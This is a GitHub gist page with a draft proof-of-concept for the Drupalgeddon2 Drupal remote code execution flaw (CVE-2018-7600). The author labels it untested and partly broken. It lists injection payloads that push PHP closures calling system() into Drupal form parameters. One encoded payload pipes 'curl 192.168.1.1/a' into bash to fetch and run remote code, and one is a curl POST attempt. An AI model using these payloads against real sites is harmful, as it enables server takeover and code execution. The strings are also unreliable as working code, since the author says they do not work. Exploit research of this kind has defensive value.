Skip to content

Instantly share code, notes, and snippets.

@bigshebang

bigshebang/drupalgeddon2

Last active March 30, 2018 13:44
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save bigshebang/0ca464a76e7d4268e943e7c6178d8d0d to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save bigshebang/0ca464a76e7d4268e943e7c6178d8d0d to your computer and use it in GitHub Desktop.
Download ZIP
Attempting to make a poc for drupalgeddon2 (CVE-2018-7600 | SA-CORE-2018-002)
Raw
drupalgeddon2
UNTESTED, just throwing around ideas
Code: $form['#validate'][] = function(){return system('id');};
Added as a param (unencoded): example.com/login.php?#validate[]=function(){return system('id');};
(BROKEN) URL Encoded: example.com%2Flogin.php%3F%23%24form%5B%27%23validate%27%5D%5B%5D%3Dfunction%28%29%7Breturn%20system%28%27id%27%29%3B%7D%3B
(BROKEN) To make things more fun (execute curl 192.168.1.1/a | bash): example.com%2Flogin.php%3F%23%24form%5B%27%23validate%27%5D%5B%5D%3Dfunction%28%29%7Breturn%20system%28%27curl%20192.168.1.1%2Fa%20%7C%20bash%27%29%3B%7D%3B
This is closer to working, still doesn't work though: curl -i -X POST -H "application/x-www-form-urlencoded" -d "name=admin&pass=adminz&form_id=user_login_block&op=Log+in&%23validate%5B%5D=function%28%29%7Breturn%20system%28%27sleep%2010%22%27%29%3B%7D%3B" "http://example.com/?q=node&destination=node"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment